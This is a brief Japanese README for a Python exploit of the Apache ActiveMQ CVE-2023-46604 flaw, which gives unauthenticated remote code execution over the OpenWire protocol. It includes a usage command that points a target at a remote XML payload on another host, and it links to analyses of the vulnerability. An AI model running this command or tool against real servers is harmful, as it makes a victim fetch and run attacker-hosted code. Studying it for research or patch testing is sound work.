
Apache ActiveMQ CVE-2023-46604のPythonベースのリモートコード実行エクスプロイト。OpenWireプロトコルを利用してXMLペイロードを配信し、認証されていないRCEを実現します。
本プロジェクトは、https://github.com/X1r0z/ActiveMQ-RCE プロジェクトの exp を参考にして書き直した python 版の exp です。
python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616
-p パラメータはデフォルトで activeMQ のデフォルトポートになります。-x パラメータにはプロトコルのプレフィックスを付ける必要があります。
以下に openwire プロトコルの図を示せば理解しやすいでしょう。
以下は Throwable タイプのデータパケット形式です。

具体的な脆弱性の分析は、下記の参考記事を参照してください。
# openwireプロトコルの分析
https://github.com/X1r0z
https://activemq.apache.org/openwire-version-2-specification
# CVE脆弱性の原理の分析
https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/